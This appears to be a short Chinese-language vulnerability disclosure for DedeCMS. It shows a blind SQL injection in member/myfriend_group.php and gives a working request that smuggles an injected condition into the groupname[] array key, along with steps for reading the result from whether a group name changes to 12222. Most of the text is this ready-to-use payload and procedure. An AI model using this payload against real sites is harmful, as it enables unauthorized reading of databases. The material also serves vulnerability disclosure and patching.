漏洞证明:
利用方法
先打开127.0.0.1/dede/member/myfriend_group.php随便添加一个
然后看源码里groupname[]中的值
因为没有返回 只能盲注
那么判断是否满足条件就看是否update了原来的数据
这样就easy 执行一下语句
127.0.0.1/dede/member/myfriend_group.php?dopost=save&groupname[3' or @`'`
and (select 1)%3D1 and '1]=12222
如果(select 1)=1的话 那个groupname就会被改成12222
上面的3改成你的groupname的ID就哦了
测试前
测试后
这是连载的节奏啊
